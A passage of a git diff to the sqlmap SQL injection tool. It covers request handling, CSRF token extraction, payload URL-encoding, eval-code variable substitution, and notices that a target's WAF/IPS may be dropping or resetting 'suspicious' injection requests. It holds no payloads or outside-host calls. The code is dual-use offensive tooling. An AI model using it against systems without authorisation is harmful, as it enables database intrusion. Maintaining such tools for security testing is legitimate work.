SqlmapConnectionException(errMsg) - else: - debugMsg = "page not found (%d)" % code - singleTimeLogMessage(debugMsg, logging.DEBUG) - processResponse(page, responseHeaders) - elif ex.code == httplib.GATEWAY_TIMEOUT: - if ignoreTimeout: - return None if not conf.ignoreTimeouts else "", None, None - else: - warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code]) - if threadData.retriesCount < conf.retries and not kb.threadException: - warnMsg += ". sqlmap is going to retry the request" - logger.critical(warnMsg) - return Connect._retryProxy(**kwargs) - elif kb.testMode: - logger.critical(warnMsg) - return None, None, None + elif ex.code == httplib.NOT_FOUND: + if raise404: + errMsg = "page not found (%d)" % code + raise SqlmapConnectionException(errMsg) else: - raise SqlmapConnectionException(warnMsg) - else: - debugMsg = "got HTTP error code: %d (%s)" % (code, status) - logger.debug(debugMsg) + debugMsg = "page not found (%d)" % code + singleTimeLogMessage(debugMsg, logging.DEBUG) + elif ex.code == httplib.GATEWAY_TIMEOUT: + if ignoreTimeout: + return None if not conf.ignoreTimeouts else "", None, None + else: + warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code]) + if threadData.retriesCount < conf.retries and not kb.threadException: + warnMsg += ". sqlmap is going to retry the request" + logger.critical(warnMsg) + return Connect._retryProxy(**kwargs) + elif kb.testMode: + logger.critical(warnMsg) + return None, None, None + else: + raise SqlmapConnectionException(warnMsg) + else: + debugMsg = "got HTTP error code: %d (%s)" % (code, status) + logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError): + except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError): tbMsg = traceback.format_exc() - if "no host given" in tbMsg: + if checking: + return None, None, None + elif "no host given" in tbMsg: warnMsg = "invalid URL address used (%s)" % repr(url) raise SqlmapSyntaxException(warnMsg) elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg: @@ -626,7 +651,17 @@ class _(dict): if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests") + kb.droppingRequests = True warnMsg = "connection timed out to the target URL" + elif "Connection reset" in tbMsg: + if not conf.disablePrecon: + singleTimeWarnMessage("turning off pre-connect mechanism because of connection reset(s)") + conf.disablePrecon = True + + if kb.testMode: + singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests") + kb.droppingRequests = True + warnMsg = "connection reset to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: warnMsg = "unable to connect to the target URL" match = re.search(r"Errno \d+\] ([^>]+)", tbMsg) @@ -634,6 +669,8 @@ class _(dict): warnMsg += " ('%s')" % match.group(1).strip() elif "NTLM" in tbMsg: warnMsg = "there has been a problem with NTLM authentication" + elif "Invalid header name" in tbMsg: # (e.g. PostgreSQL ::Text payload) + return None, None, None elif "BadStatusLine" in tbMsg: warnMsg = "connection dropped or unknown HTTP " warnMsg += "status code received" @@ -644,7 +681,7 @@ class _(dict): warnMsg = "there was an incomplete read error while retrieving data " warnMsg += "from the target URL" elif "Handshake status" in tbMsg: - status = re.search("Handshake status ([\d]{3})", tbMsg) + status = re.search(r"Handshake status ([\d]{3})", tbMsg) errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" raise SqlmapConnectionException(errMsg) else: @@ -653,6 +690,9 @@ class _(dict): if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)): warnMsg += " or proxy" + if silent: + return None, None, None + with kb.locks.connError: kb.connErrorCounter += 1 @@ -660,14 +700,13 @@ class _(dict): message = "there seems to be a continuous problem with connection to the target. " message += "Are you sure that you want to continue " message += "with further target testing? [y/N] " - kb.connErrorChoice = readInput(message, default="N") in ("Y", "y") + + kb.connErrorChoice = readInput(message, default='N', boolean=True) if kb.connErrorChoice is False: raise SqlmapConnectionException(warnMsg) - if silent: - return None, None, None - elif "forcibly closed" in tbMsg: + if "forcibly closed" in tbMsg: logger.critical(warnMsg) return None, None, None elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")): @@ -694,32 +733,32 @@ class _(dict): page = getUnicode(page) socket.setdefaulttimeout(conf.timeout) - processResponse(page, responseHeaders) + processResponse(page, responseHeaders, status) if conn and getattr(conn, "redurl", None): _ = urlparse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) - requestMsg = re.sub("(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) + requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) if kb.resendPostOnRedirect is False: - requestMsg = re.sub("(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg) - requestMsg = re.sub("(?i)Content-length: \d+\n", "", requestMsg) - requestMsg = re.sub("(?s)\n\n.+", "\n", requestMsg) + requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg) + requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) + requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) - responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, conn.code, status) + responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status) else: - responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status) + responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: - logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) if not skipLogTraffic: - logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE])) + logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: - responseMsg += "%s\n\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) + responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) @@ -730,8 +769,8 @@ class _(dict): def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target URL page content - and returns its page MD5 hash or a boolean value in case of - string match check ('--string' command line parameter) + and returns its page ratio (0 <= ratio <= 1) or a boolean value + representing False/True match in case of !getRatioValue """ if conf.direct: @@ -757,6 +796,8 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent raise404 = place != PLACE.URI if raise404 is None else raise404 method = method or conf.method + postUrlEncode = kb.postUrlEncode + value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() @@ -765,8 +806,8 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) - if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: - kb.postUrlEncode = False + if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: + postUrlEncode = False conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) @@ -810,20 +851,20 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded - if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode: + if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode: skip = False if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE: if kb.cookieEncodeChoice is None: msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 - choice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N') - kb.cookieEncodeChoice = choice.upper().strip() == "Y" + kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) if not kb.cookieEncodeChoice: skip = True if not skip: payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below value = agent.replacePayload(value, payload) + postUrlEncode = False if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): @@ -832,7 +873,7 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) - match = re.search("(?P\w+)=%s(?P.+?)%s" % (_, _), value) + match = re.search(r"(?P\w+)=%s(?P.+?)%s" % (_, _), value) if match: payload = match.group("value") @@ -869,7 +910,7 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent post = value if PLACE.CUSTOM_POST in conf.parameters: - post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value + post = conf.parameters[PLACE.CUSTOM_POST].replace(kb.customInjectionMark, "") if place != PLACE.CUSTOM_POST or not value else value post = post.replace(ASTERISK_MARKER, '*') if post else post if PLACE.COOKIE in conf.parameters: @@ -898,22 +939,24 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if conf.csrfToken: def _adjustParameter(paramString, parameter, newValue): retVal = paramString - match = re.search("%s=[^&]*" % re.escape(parameter), paramString) + match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString) if match: retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString) else: - match = re.search("(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString) + match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString) if match: retVal = re.sub(re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) return retVal page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "") - token = (match.group(2) or match.group(3) or match.group(4)) if match else None + token = extractRegexResult(r"(?i)]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "") if not token: - match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "") - token = match.group(1) if match else None + token = extractRegexResult(r"(?i)]+\bvalue=(?P(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "") + + if not token: + match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "") + token = match.group(1) if match else None if not token: if conf.csrfUrl != conf.url and code == httplib.OK: @@ -941,6 +984,8 @@ def _adjustParameter(paramString, parameter, newValue): raise SqlmapTokenException, errMsg if token: + token = token.strip("'\"") + for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: if place == PLACE.GET and get: @@ -988,8 +1033,11 @@ def _randomizeParameter(paramString, randomParameter): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) - name = re.sub(r"[^\w]", "", name.strip()) - if name in keywords: + name = name.strip() + if safeVariableNaming(name) != name: + conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) + name = safeVariableNaming(name) + elif name in keywords: name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus)) variables[name] = value @@ -998,8 +1046,11 @@ def _randomizeParameter(paramString, randomParameter): for part in cookie.split(conf.cookieDel or DEFAULT_COOKIE_DELIMITER): if '=' in part: name, value = part.split('=', 1) - name = re.sub(r"[^\w]", "", name.strip()) - if name in keywords: + name = name.strip() + if safeVariableNaming(name) != name: + conf.evalCode = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), conf.evalCode) + name = safeVariableNaming(name) + elif name in keywords: name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) value = urldecode(value, convall=True) variables[name] = value @@ -1008,16 +1059,27 @@ def _randomizeParameter(paramString, randomParameter): try: compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n'))) except SyntaxError, ex: - original = replacement = ex.text.strip() - for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: - if _ in keywords: - replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX)) + if ex.text: + original = replacement = ex.text.strip() + if '=' in original: + name, value = original.split('=', 1) + name = name.strip() + if safeVariableNaming(name) != name: + replacement = re.sub(r"\b%s\b" % re.escape(name), safeVariableNaming(name), replacement) + elif name in keywords: + replacement = re.sub(r"\b%s\b" % re.escape(name), "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX), replacement) + else: + for _ in re.findall(r"[A-Za-z_]+", original)[::-1]: + if _ in keywords: + replacement = replacement.replace(_, "%s%s" % (_, EVALCODE_KEYWORD_SUFFIX)) + break + if original == replacement: + conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "") break - if original == replacement: - conf.evalCode = conf.evalCode.replace(EVALCODE_KEYWORD_SUFFIX, "") - break + else: + conf.evalCode = conf.evalCode.replace(getUnicode(ex.text.strip(), UNICODE_ENCODING), replacement) else: - conf.evalCode = conf.evalCode.replace(ex.text.strip(), replacement) + break else: break @@ -1030,31 +1092,50 @@ def _randomizeParameter(paramString, randomParameter): del variables[variable] variables[variable.replace(EVALCODE_KEYWORD_SUFFIX, "")] = value + if unsafeVariableNaming(variable) != variable: + value = variables[variable] + del variables[variable] + variables[unsafeVariableNaming(variable)] = value + uri = variables["uri"] for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): found = False - value = getUnicode(value) + value = getUnicode(value, UNICODE_ENCODING) + + if kb.postHint and re.search(r"\b%s\b" % re.escape(name), post or ""): + if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): + if re.search(r"<%s\b" % re.escape(name), post): + found = True + post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(%s\g<3>" % value.replace('\\', r'\\'), post) + elif re.search(r"\b%s>" % re.escape(name), post): + found = True + post = re.sub(r"(?s)(\b%s>)(.*?)()" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + + regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) + if not found and re.search(regex, (post or "")): + found = True + post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) - if re.search(regex, (get or "")): + if not found and re.search(regex, (post or "")): found = True - get = re.sub(regex, "\g<1>%s\g<3>" % value, get) + post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) - if re.search(regex, (post or "")): + if re.search(regex, (get or "")): found = True - post = re.sub(regex, "\g<1>%s\g<3>" % value, post) + get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get) if re.search(regex, (query or "")): found = True - uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri) + uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri) - regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True - cookie = re.sub(regex, "\g<1>%s\g<3>" % value, cookie) + cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie) if not found: if post is not None: @@ -1070,10 +1151,10 @@ def _randomizeParameter(paramString, randomParameter): if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) - elif kb.postUrlEncode: + elif postUrlEncode: post = urlencode(post, spaceplus=kb.postSpaceToPlus) - if timeBasedCompare: + if timeBasedCompare and not conf.disableStats: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: clearConsoleLine() @@ -1081,7 +1162,7 @@ def _randomizeParameter(paramString, randomParameter): if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " - warnMsg += "time-based injections because of its high latency time" + warnMsg += "time-based injections because of inherent high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") @@ -1183,7 +1264,7 @@ def _randomizeParameter(paramString, randomParameter): kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None if content or response: - return page, headers + return page, headers, code if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) diff --git a/lib/request/direct.py b/lib/request/direct.py index 0490c6207c2..9b679fc52a3 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import time diff --git a/lib/request/dns.py b/lib/request/dns.py index a03ada19c24..2cf11fe83a0 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import os @@ -94,7 +94,7 @@ def pop(self, prefix=None, suffix=None): with self._lock: for _ in self._requests: - if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I): + if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I): retVal = _ self._requests.remove(_) break diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 5f1eb2cde51..bd8fe4b5122 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import distutils.version diff --git a/lib/request/inject.py b/lib/request/inject.py index cd0c396b8d4..485b835c475 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import re @@ -42,8 +42,11 @@ from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS +from lib.core.settings import INFERENCE_MARKER from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX +from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.request.connect import Connect as Request from lib.request.direct import direct @@ -79,9 +82,9 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if not (timeBasedCompare and kb.dnsTest): - if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search("(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads): + if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads): - if field and re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): + if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): expression = "SELECT %s FROM (%s)" % (field, expression) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): @@ -156,7 +159,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) - rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) + rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] @@ -208,22 +211,22 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" - test = readInput(message, default="a") + choice = readInput(message, default='A').upper() - if not test or test[0] in ("a", "A"): + if choice == 'A': stopLimit = count - elif test[0] in ("q", "Q"): + elif choice == 'Q': raise SqlmapUserQuitException - elif test.isdigit() and int(test) > 0 and int(test) <= count: - stopLimit = int(test) + elif choice.isdigit() and int(choice) > 0 and int(choice) <= count: + stopLimit = int(choice) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) - elif test[0] in ("#", "s", "S"): + elif choice in ('#', 'S'): message = "how many? " stopLimit = readInput(message, default="10") @@ -303,7 +306,7 @@ def _goBooleanProxy(expression): return output vector = kb.injection.data[kb.technique].vector - vector = vector.replace("[INFERENCE]", expression) + vector = vector.replace(INFERENCE_MARKER, expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) @@ -345,6 +348,9 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue + for keyword in GET_VALUE_UPPERCASE_KEYWORDS: + expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) + if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput @@ -356,7 +362,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression - if expression.upper().startswith("SELECT "): + if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) @@ -414,7 +420,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: - _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items()))) + _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ @@ -466,6 +472,15 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) + # Dirty patch (safe-encoded unicode characters) + if isinstance(value, unicode) and "\\x" in value: + try: + candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) + if "\\x" not in candidate: + value = candidate + except: + pass + return extractExpectedValue(value, expected) def goStacked(expression, silent=False): diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 68e1f22a806..7187c4404d7 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import urllib2 diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 50b93b276aa..369cf7d4d74 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import httplib diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 4eb802d372f..47d703ce127 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ import urllib diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index bb5a3059f14..1642991f3ed 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,10 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ +import re +import time import types import urllib2 import urlparse @@ -49,18 +51,16 @@ def _ask_redirect_choice(self, redcode, redurl, method): if kb.redirectChoice is None: msg = "sqlmap got a %d redirect to " % redcode msg += "'%s'. Do you want to follow? [Y/n] " % redurl - choice = readInput(msg, default="Y") - kb.redirectChoice = choice.upper() + kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO if kb.redirectChoice == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: msg = "redirect is a result of a " msg += "POST request. Do you want to " msg += "resend original POST data to a new " msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N") - choice = readInput(msg, default=("Y" if not kb.originalPage else "N")) - kb.resendPostOnRedirect = choice.upper() == 'Y' + kb.resendPostOnRedirect = readInput(msg, default=('Y' if not kb.originalPage else 'N'), boolean=True) if kb.resendPostOnRedirect: self.redirect_request = self._redirect_request @@ -70,6 +70,7 @@ def _redirect_request(self, req, fp, code, msg, headers, newurl): return urllib2.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) def http_error_302(self, req, fp, code, msg, headers): + start = time.time() content = None redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None @@ -93,18 +94,18 @@ def http_error_302(self, req, fp, code, msg, headers): threadData.lastRedirectMsg = (threadData.lastRequestUID, content) redirectMsg = "HTTP redirect " - redirectMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, getUnicode(msg)) + redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg)) if headers: - logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items()) + logHeaders = "\r\n".join("%s: %s" % 